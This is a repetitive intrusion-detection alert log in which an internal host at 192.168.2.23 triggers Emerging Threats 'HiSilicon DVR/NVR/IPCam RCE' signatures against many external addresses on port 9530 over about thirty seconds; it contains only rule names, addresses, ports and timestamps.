Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.31.242.236

Timestamp:	05/16/24-16:38:57.304629
SID:	2030488
Source Port:	51362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.31.242.236

Timestamp:	05/16/24-16:38:57.304629
SID:	2030487
Source Port:	51362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 194.29.191.1

Timestamp:	05/16/24-16:38:50.053182
SID:	2030488
Source Port:	46250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 194.29.191.1

Timestamp:	05/16/24-16:38:50.053182
SID:	2030487
Source Port:	46250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.190.238.18

Timestamp:	05/16/24-16:39:16.609822
SID:	2030487
Source Port:	49866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.134.111.54

Timestamp:	05/16/24-16:38:55.201800
SID:	2030487
Source Port:	57296
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.190.238.18

Timestamp:	05/16/24-16:39:16.609822
SID:	2030488
Source Port:	49866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.134.111.54

Timestamp:	05/16/24-16:38:55.201800
SID:	2030488
Source Port:	57296
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.200.104.220

Timestamp:	05/16/24-16:38:53.098251
SID:	2030487
Source Port:	35898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.109.155.122

Timestamp:	05/16/24-16:39:02.746067
SID:	2030487
Source Port:	40714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.200.104.220

Timestamp:	05/16/24-16:38:53.098251
SID:	2030488
Source Port:	35898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.109.155.122

Timestamp:	05/16/24-16:39:02.746067
SID:	2030488
Source Port:	40714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.25.220.124

Timestamp:	05/16/24-16:38:59.518386
SID:	2030488
Source Port:	59124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.25.220.124

Timestamp:	05/16/24-16:38:59.518386
SID:	2030487
Source Port:	59124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.93.239.189

Timestamp:	05/16/24-16:38:50.047583
SID:	2030487
Source Port:	41386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.93.239.189

Timestamp:	05/16/24-16:38:50.047583
SID:	2030488
Source Port:	41386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 63.13.66.50

Timestamp:	05/16/24-16:38:50.046311
SID:	2030488
Source Port:	52312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 63.13.66.50

Timestamp:	05/16/24-16:38:50.046311
SID:	2030487
Source Port:	52312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.160.193.30

Timestamp:	05/16/24-16:39:16.605721
SID:	2030488
Source Port:	43880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.160.193.30

Timestamp:	05/16/24-16:39:16.605721
SID:	2030487
Source Port:	43880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.28.155.30

Timestamp:	05/16/24-16:39:08.136438
SID:	2030487
Source Port:	50492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.157.160.52

Timestamp:	05/16/24-16:38:57.304889
SID:	2030488
Source Port:	40408
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.157.160.52

Timestamp:	05/16/24-16:38:57.304889
SID:	2030487
Source Port:	40408
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.28.155.30

Timestamp:	05/16/24-16:39:08.136438
SID:	2030488
Source Port:	50492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.195.180.143

Timestamp:	05/16/24-16:39:08.041796
SID:	2030487
Source Port:	45180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.195.180.143

Timestamp:	05/16/24-16:39:08.041796
SID:	2030488
Source Port:	45180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.171.230.72

Timestamp:	05/16/24-16:39:12.406600
SID:	2030488
Source Port:	52622
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.171.230.72

Timestamp:	05/16/24-16:39:12.406600
SID:	2030487
Source Port:	52622
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.20.116.132

Timestamp:	05/16/24-16:39:03.276896
SID:	2030487
Source Port:	37740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.20.116.132

Timestamp:	05/16/24-16:39:03.276896
SID:	2030488
Source Port:	37740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.233.126.165

Timestamp:	05/16/24-16:39:08.137722
SID:	2030488
Source Port:	58220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.233.126.165

Timestamp:	05/16/24-16:39:08.137722
SID:	2030487
Source Port:	58220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.75.76.126

Timestamp:	05/16/24-16:39:14.494708
SID:	2030487
Source Port:	44780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.75.76.126

Timestamp:	05/16/24-16:39:14.494708
SID:	2030488
Source Port:	44780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.142.99.199

Timestamp:	05/16/24-16:38:57.444117
SID:	2030488
Source Port:	39316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.219.110.114

Timestamp:	05/16/24-16:39:12.382801
SID:	2030487
Source Port:	44750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.219.110.114

Timestamp:	05/16/24-16:39:12.382801
SID:	2030488
Source Port:	44750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.198.132.16

Timestamp:	05/16/24-16:38:59.560291
SID:	2030487
Source Port:	48870
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.198.132.16

Timestamp:	05/16/24-16:38:59.560291
SID:	2030488
Source Port:	48870
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.170.150.114

Timestamp:	05/16/24-16:38:55.210430
SID:	2030488
Source Port:	42082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.136.50.218

Timestamp:	05/16/24-16:39:02.725525
SID:	2030488
Source Port:	53584
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.136.50.218

Timestamp:	05/16/24-16:39:02.725525
SID:	2030487
Source Port:	53584
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.173.187.193

Timestamp:	05/16/24-16:39:02.745285
SID:	2030488
Source Port:	38552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.173.187.193

Timestamp:	05/16/24-16:39:02.745285
SID:	2030487
Source Port:	38552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.124.72.122

Timestamp:	05/16/24-16:39:12.298169
SID:	2030487
Source Port:	36366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.204.3.118

Timestamp:	05/16/24-16:38:50.047742
SID:	2030487
Source Port:	55998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.124.72.122

Timestamp:	05/16/24-16:39:12.298169
SID:	2030488
Source Port:	36366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.204.3.118

Timestamp:	05/16/24-16:38:50.047742
SID:	2030488
Source Port:	55998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.170.150.114

Timestamp:	05/16/24-16:38:55.210430
SID:	2030487
Source Port:	42082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.88.43.219

Timestamp:	05/16/24-16:39:12.304029
SID:	2030488
Source Port:	54578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.88.43.219

Timestamp:	05/16/24-16:39:12.304029
SID:	2030487
Source Port:	54578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.142.241.89

Timestamp:	05/16/24-16:39:08.123587
SID:	2030487
Source Port:	60026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.142.241.89

Timestamp:	05/16/24-16:39:08.123587
SID:	2030488
Source Port:	60026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.168.41.25

Timestamp:	05/16/24-16:38:59.557742
SID:	2030487
Source Port:	37448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.168.41.25

Timestamp:	05/16/24-16:38:59.557742
SID:	2030488
Source Port:	37448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.181.235.84

Timestamp:	05/16/24-16:38:53.065549
SID:	2030487
Source Port:	37178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.181.235.84

Timestamp:	05/16/24-16:38:53.065549
SID:	2030488
Source Port:	37178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.22.163.201

Timestamp:	05/16/24-16:39:05.676323
SID:	2030487
Source Port:	46786
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.94.127.250

Timestamp:	05/16/24-16:38:59.520071
SID:	2030488
Source Port:	37614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.94.127.250

Timestamp:	05/16/24-16:38:59.520071
SID:	2030487
Source Port:	37614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.22.163.201

Timestamp:	05/16/24-16:39:05.676323
SID:	2030488
Source Port:	46786
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.53.113.85

Timestamp:	05/16/24-16:39:08.045097
SID:	2030488
Source Port:	49196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 102.100.23.71

Timestamp:	05/16/24-16:39:08.136425
SID:	2030487
Source Port:	58330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.53.113.85

Timestamp:	05/16/24-16:39:08.045097
SID:	2030487
Source Port:	49196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 102.100.23.71

Timestamp:	05/16/24-16:39:08.136425
SID:	2030488
Source Port:	58330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.215.153.89

Timestamp:	05/16/24-16:39:08.149040
SID:	2030488
Source Port:	58342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.111.111.186

Timestamp:	05/16/24-16:39:08.143088
SID:	2030488
Source Port:	37818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.236.100.82

Timestamp:	05/16/24-16:38:57.303914
SID:	2030488
Source Port:	55870
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.111.111.186

Timestamp:	05/16/24-16:39:08.143088
SID:	2030487
Source Port:	37818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.228.82.187

Timestamp:	05/16/24-16:39:12.407656
SID:	2030487
Source Port:	46618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.228.82.187

Timestamp:	05/16/24-16:39:12.407656
SID:	2030488
Source Port:	46618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.9.103.153

Timestamp:	05/16/24-16:39:14.507702
SID:	2030487
Source Port:	55798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.9.103.153

Timestamp:	05/16/24-16:39:14.507702
SID:	2030488
Source Port:	55798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.236.100.82

Timestamp:	05/16/24-16:38:57.303914
SID:	2030487
Source Port:	55870
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.215.153.89

Timestamp:	05/16/24-16:39:08.149040
SID:	2030487
Source Port:	58342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.217.62.99

Timestamp:	05/16/24-16:39:05.704042
SID:	2030488
Source Port:	54840
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.105.121.45

Timestamp:	05/16/24-16:39:05.676000
SID:	2030488
Source Port:	50712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.105.121.45

Timestamp:	05/16/24-16:39:05.676000
SID:	2030487
Source Port:	50712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.217.62.99

Timestamp:	05/16/24-16:39:05.704042
SID:	2030487
Source Port:	54840
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 160.189.82.59

Timestamp:	05/16/24-16:39:02.746775
SID:	2030488
Source Port:	53074
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 160.189.82.59

Timestamp:	05/16/24-16:39:02.746775
SID:	2030487
Source Port:	53074
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.19.44.26

Timestamp:	05/16/24-16:39:08.041146
SID:	2030487
Source Port:	57452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.180.239.252

Timestamp:	05/16/24-16:39:14.493430
SID:	2030487
Source Port:	36764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.180.239.252

Timestamp:	05/16/24-16:39:14.493430
SID:	2030488
Source Port:	36764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.19.44.26

Timestamp:	05/16/24-16:39:08.041146
SID:	2030488
Source Port:	57452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.62.193.55

Timestamp:	05/16/24-16:39:16.582443
SID:	2030488
Source Port:	56290
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.62.193.55

Timestamp:	05/16/24-16:39:16.582443
SID:	2030487
Source Port:	56290
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.14.134.8

Timestamp:	05/16/24-16:39:16.615051
SID:	2030488
Source Port:	54720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.216.193.5

Timestamp:	05/16/24-16:39:08.035649
SID:	2030488
Source Port:	55446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.14.134.8

Timestamp:	05/16/24-16:39:16.615051
SID:	2030487
Source Port:	54720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.216.193.5

Timestamp:	05/16/24-16:39:08.035649
SID:	2030487
Source Port:	55446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.66.148.28

Timestamp:	05/16/24-16:38:55.212353
SID:	2030488
Source Port:	52966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 109.143.171.38

Timestamp:	05/16/24-16:39:08.145161
SID:	2030488
Source Port:	41834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 202.244.68.82

Timestamp:	05/16/24-16:38:50.052408
SID:	2030487
Source Port:	50802
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 109.143.171.38

Timestamp:	05/16/24-16:39:08.145161
SID:	2030487
Source Port:	41834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.244.68.82

Timestamp:	05/16/24-16:38:50.052408
SID:	2030488
Source Port:	50802
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.66.148.28

Timestamp:	05/16/24-16:38:55.212353
SID:	2030487
Source Port:	52966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.213.137.67

Timestamp:	05/16/24-16:38:53.011332
SID:	2030488
Source Port:	34482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.213.137.67

